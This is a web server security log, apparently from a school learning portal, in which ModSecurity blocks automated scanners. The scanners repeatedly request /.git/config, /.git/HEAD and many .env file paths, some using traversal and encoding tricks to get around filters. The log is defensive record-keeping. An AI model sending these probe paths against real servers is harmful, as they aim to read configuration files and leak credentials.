[Wed Nov 26 14:44:56.349769 2025] [:error] [pid 34830:tid 34856] [client 213.21.239.4:40948] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/carmel.wa.edu.au/..;/.git/config"] [unique_id "aSah6EukvkWgWN6jCR2zhAAAABg"]
[Wed Nov 26 14:44:56.349896 2025] [:error] [pid 34744:tid 34814] [client 213.21.239.4:40958] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/carmel.wa.edu.au/.git/config"] [unique_id "aSah6EtgOvVbhyALkTQXHAAAAYs"]
[Wed Nov 26 14:44:56.354185 2025] [:error] [pid 34744:tid 34823] [client 213.21.239.4:40932] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/seqta-learn/.git/config"] [unique_id "aSah6EtgOvVbhyALkTQXHQAAAZQ"]
[Wed Nov 26 14:44:56.356216 2025] [:error] [pid 34744:tid 34815] [client 213.21.239.4:41012] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/seqta-learn/.git/%0Aconfig"] [unique_id "aSah6EtgOvVbhyALkTQXHgAAAYw"]
[Wed Nov 26 14:44:56.357092 2025] [:error] [pid 34744:tid 34807] [client 213.21.239.4:40832] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/new/.git/config"] [unique_id "aSah6EtgOvVbhyALkTQXHwAAAYQ"]
[Wed Nov 26 14:44:56.357478 2025] [:error] [pid 34744:tid 34816] [client 213.21.239.4:40838] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/prod/.git/config"] [unique_id "aSah6EtgOvVbhyALkTQXIAAAAY0"]
[Wed Nov 26 14:44:56.358081 2025] [:error] [pid 34744:tid 34813] [client 213.21.239.4:40976] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/carmel.wa.edu.au/static../.git/config"] [unique_id "aSah6EtgOvVbhyALkTQXIQAAAYo"]
[Wed Nov 26 14:44:56.358280 2025] [:error] [pid 34744:tid 34810] [client 213.21.239.4:40982] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/carmel.wa.edu.au/.git/config;.."] [unique_id "aSah6EtgOvVbhyALkTQXIgAAAYc"]
[Wed Nov 26 14:44:56.359190 2025] [:error] [pid 34744:tid 34818] [client 213.21.239.4:40864] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/seqta-learn/.git/config;.."] [unique_id "aSah6EtgOvVbhyALkTQXIwAAAY8"]
[Wed Nov 26 14:44:56.361084 2025] [:error] [pid 34744:tid 34821] [client 213.21.239.4:40962] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/carmel.wa.edu.au/.git/config;"] [unique_id "aSah6EtgOvVbhyALkTQXJAAAAZI"]
[Wed Nov 26 14:44:56.364637 2025] [:error] [pid 35540:tid 35568] [client 213.21.239.4:41000] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/seqta-learn/.git/config;"] [unique_id "aSah6MGrIq2A6SZSnkKMDAAAAJY"]
[Wed Nov 26 14:44:56.365628 2025] [:error] [pid 34744:tid 34819] [client 213.21.239.4:40878] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/seqta-learn/;/.git/config"] [unique_id "aSah6EtgOvVbhyALkTQXJgAAAZA"]
[Wed Nov 26 14:44:56.367641 2025] [:error] [pid 34744:tid 34811] [client 213.21.239.4:40902] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/carmel.wa.edu.au/.git/%0Aconfig"] [unique_id "aSah6EtgOvVbhyALkTQXJwAAAYg"]
[Wed Nov 26 14:44:56.368420 2025] [:error] [pid 45901:tid 45912] [client 213.21.239.4:40942] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/seqta-learn/..;/.git/config"] [unique_id "aSah6CunQ1SpfPRNrty3KAAAAQk"]
[Wed Nov 26 14:44:59.340764 2025] [:error] [pid 34744:tid 34808] [client 213.21.239.4:41014] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-content/.git/config"] [unique_id "aSah60tgOvVbhyALkTQXMQAAAYU"]
[Wed Nov 26 14:44:59.351851 2025] [:error] [pid 45901:tid 45903] [client 213.21.239.4:41054] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/web/.git/config"] [unique_id "aSah6yunQ1SpfPRNrty3LwAAAQA"]
[Wed Nov 26 14:44:59.353197 2025] [:error] [pid 34744:tid 34806] [client 213.21.239.4:41026] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-content/plugins/.git/config"] [unique_id "aSah60tgOvVbhyALkTQXMgAAAYM"]
[Wed Nov 26 14:44:59.353335 2025] [:error] [pid 34744:tid 34822] [client 213.21.239.4:41042] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/uat/.git/config"] [unique_id "aSah60tgOvVbhyALkTQXMwAAAZM"]
[Wed Nov 26 14:44:59.359153 2025] [:error] [pid 45836:tid 45859] [client 213.21.239.4:41032] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-content/themes/.git/config"] [unique_id "aSah65frnOGqL-seZAxL7gAAAM0"]
[Wed Nov 26 14:44:59.369840 2025] [:error] [pid 45836:tid 45868] [client 213.21.239.4:41086] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/static../.git/config"] [unique_id "aSah65frnOGqL-seZAxL7wAAANY"]
[Wed Nov 26 14:44:59.369840 2025] [:error] [pid 10383:tid 10408] [client 213.21.239.4:41070] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/staging/.git/config"] [unique_id "aSah660RJ-zjhOVjD8_jqwAAAdY"]
[Wed Nov 26 14:44:59.372067 2025] [:error] [pid 45836:tid 45870] [client 213.21.239.4:41096] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/seqta-learn/static../.git/config"] [unique_id "aSah65frnOGqL-seZAxL8AAAANg"]
[Thu Nov 27 06:46:58.317854 2025] [authz_core:error] [pid 30100:tid 30137] [client 68.183.180.73:57040] AH01630: client denied by server configuration: /home/memocar/seqta-learn.carmel.wa.edu.au/server-status
[Thu Nov 27 06:46:59.403859 2025] [:error] [pid 29925:tid 29964] [client 68.183.180.73:57084] [client 68.183.180.73] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "aSeDYx20A_hbpBNufje77gAAAEY"]
[Thu Nov 27 06:46:59.668335 2025] [:error] [pid 29924:tid 29946] [client 68.183.180.73:57088] [client 68.183.180.73] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aSeDY3SzPVq5o8tworTWngAAAY8"]
[Thu Nov 27 11:28:21.520566 2025] [:error] [pid 20858:tid 20866] [client 13.221.15.13:33120] [client 13.221.15.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aSfFVVexMQcaxyQE6og5UgAAAAM"]
[Thu Nov 27 11:28:22.329425 2025] [:error] [pid 25405:tid 25409] [client 13.221.15.13:33348] [client 13.221.15.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "aSfFVpMl4uAUBtYol34LFwAAAUI"]
[Thu Nov 27 11:28:23.137976 2025] [:error] [pid 25405:tid 25417] [client 13.221.15.13:33554] [client 13.221.15.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.local"] [unique_id "aSfFV5Ml4uAUBtYol34LGAAAAUo"]
[Thu Nov 27 11:28:23.945588 2025] [:error] [pid 25405:tid 25423] [client 13.221.15.13:33716] [client 13.221.15.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.remote"] [unique_id "aSfFV5Ml4uAUBtYol34LGQAAAVA"]
[Thu Nov 27 11:28:24.753623 2025] [:error] [pid 20827:tid 20852] [client 13.221.15.13:33912] [client 13.221.15.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.production"] [unique_id "aSfFWJpT00GeFaRQvTfLvAAAANc"]
[Thu Nov 27 11:28:25.561906 2025] [:error] [pid 20827:tid 20842] [client 13.221.15.13:34084] [client 13.221.15.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/vendor/.env"] [unique_id "aSfFWZpT00GeFaRQvTfLwAAAAM0"]
[Thu Nov 27 11:28:26.369637 2025] [:error] [pid 25405:tid 25418] [client 13.221.15.13:34258] [client 13.221.15.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/lib/.env"] [unique_id "aSfFWpMl4uAUBtYol34LGwAAAUs"]
[Thu Nov 27 11:28:27.178269 2025] [:error] [pid 22708:tid 22714] [client 13.221.15.13:34428] [client 13.221.15.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/lab/.env"] [unique_id "aSfFW0F1ibvGym-WoX0aRQAAAQQ"]
[Thu Nov 27 11:28:27.988449 2025] [:error] [pid 20859:tid 20900] [client 13.221.15.13:34614] [client 13.221.15.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/cronlab/.env"] [unique_id "aSfFW8dz0RxQsRyAhbSRpwAAAIo"]
[Thu Nov 27 11:28:28.795690 2025] [:error] [pid 22708:tid 22711] [client 13.221.15.13:34778] [client 13.221.15.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/cron/.env"] [unique_id "aSfFXEF1ibvGym-WoX0aSAAAAQE"]
[Thu Nov 27 11:28:29.605593 2025] [:error] [pid 22708:tid 22723] [client 13.221.15.13:34934] [client 13.221.15.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/core/.env"] [unique_id "aSfFXUF1ibvGym-WoX0aSwAAAQ0"]
[Thu Nov 27 11:28:30.414430 2025] [:error] [pid 25405:tid 25409] [client 13.221.15.13:35080] [client 13.221.15.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/core/app/.env"] [unique_id "aSfFXpMl4uAUBtYol34LHAAAAUI"]
[Fri Nov 28 01:51:59.714215 2025] [:error] [pid 3968:tid 3972] [client 159.65.132.48:53120] [client 159.65.132.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/"] [unique_id "aSiPvyCkRPBiCvBkrb1c0QAAAQI"]
[Fri Nov 28 10:14:54.645280 2025] [:error] [pid 36363:tid 36379] [client 3.70.160.245:34614] [client 3.70.160.245] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/vendor/.env"] [unique_id "aSkFnnsscbfVg6wHsKjZygAAAI4"]
[Fri Nov 28 10:14:54.811853 2025] [:error] [pid 36363:tid 36389] [client 3.70.160.245:34616] [client 3.70.160.245] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.production"] [unique_id "aSkFnnsscbfVg6wHsKjZywAAAJg"]
[Fri Nov 28 10:14:54.812687 2025] [:error] [pid 36471:tid 36475] [client 3.70.160.245:34618] [client 3.70.160.245] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aSkFninVfcm0v1Kyj-0QmgAAAcI"]
[Fri Nov 28 10:14:54.813057 2025] [:error] [pid 36471:tid 36479] [client 3.70.160.245:34622] [client 3.70.160.245] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/lib/.env"] [unique_id "aSkFninVfcm0v1Kyj-0QmwAAAcY"]
[Fri Nov 28 10:14:54.815624 2025] [:error] [pid 36398:tid 36445] [client 3.70.160.245:34624] [client 3.70.160.245] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/lab/.env"] [unique_id "aSkFng_enx_M-xd--vKQRQAAAZI"]
[Fri Nov 28 10:14:54.816247 2025] [:error] [pid 36363:tid 36380] [client 3.70.160.245:34626] [client 3.70.160.245] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/cron/.env"] [unique_id "aSkFnnsscbfVg6wHsKjZzAAAAI8"]
[Fri Nov 28 10:14:54.817009 2025] [:error] [pid 36397:tid 36413] [client 3.70.160.245:34632] [client 3.70.160.245] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/core/.env"] [unique_id "aSkFnipVnqePWFQ8TSP3tQAAAU0"]
[Fri Nov 28 10:14:54.817181 2025] [:error] [pid 36363:tid 36376] [client 3.70.160.245:34628] [client 3.70.160.245] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/cronlab/.env"] [unique_id "aSkFnnsscbfVg6wHsKjZzQAAAIs"]
[Fri Nov 28 10:14:54.817503 2025] [:error] [pid 36398:tid 36431] [client 3.70.160.245:34636] [client 3.70.160.245] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/core/Datavase/.env"] [unique_id "aSkFng_enx_M-xd--vKQRgAAAYQ"]
[Fri Nov 28 10:14:54.818123 2025] [:error] [pid 36363:tid 36381] [client 3.70.160.245:34634] [client 3.70.160.245] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/core/app/.env"] [unique_id "aSkFnnsscbfVg6wHsKjZzgAAAJA"]
[Fri Nov 28 10:14:55.719501 2025] [:error] [pid 39044:tid 39048] [client 3.70.160.245:34698] [client 3.70.160.245] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.remote"] [unique_id "aSkFn1JTEToQ71_sskmwpQAAAAI"]
[Fri Nov 28 10:14:55.721137 2025] [:error] [pid 36398:tid 36428] [client 3.70.160.245:34702] [client 3.70.160.245] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.local"] [unique_id "aSkFnw_enx_M-xd--vKQRwAAAYE"]
[Fri Nov 28 10:14:55.721275 2025] [:error] [pid 36363:tid 36378] [client 3.70.160.245:34700] [client 3.70.160.245] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "aSkFn3sscbfVg6wHsKjZ0AAAAI0"]
[Fri Nov 28 10:14:55.723047 2025] [:error] [pid 36363:tid 36386] [client 3.70.160.245:34704] [client 3.70.160.245] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/database/.env"] [unique_id "aSkFn3sscbfVg6wHsKjZ0QAAAJU"]
[Fri Nov 28 10:14:56.027089 2025] [:error] [pid 36397:tid 36406] [client 3.70.160.245:34814] [client 3.70.160.245] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config/.env"] [unique_id "aSkFoCpVnqePWFQ8TSP3uQAAAUY"]
[Sat Nov 29 02:22:43.121724 2025] [:error] [pid 9907:tid 9910] [client 213.209.157.81:34178] [client 213.209.157.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aSnoc-FoCqXx6ihYWZwSUwAAAQE"]
[Sat Nov 29 04:56:14.809055 2025] [:error] [pid 53819:tid 53886] [client 45.130.203.166:46453] [client 45.130.203.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/HEAD"] [unique_id "aSoMbrrEG0migocqTWewtwAAAIo"]
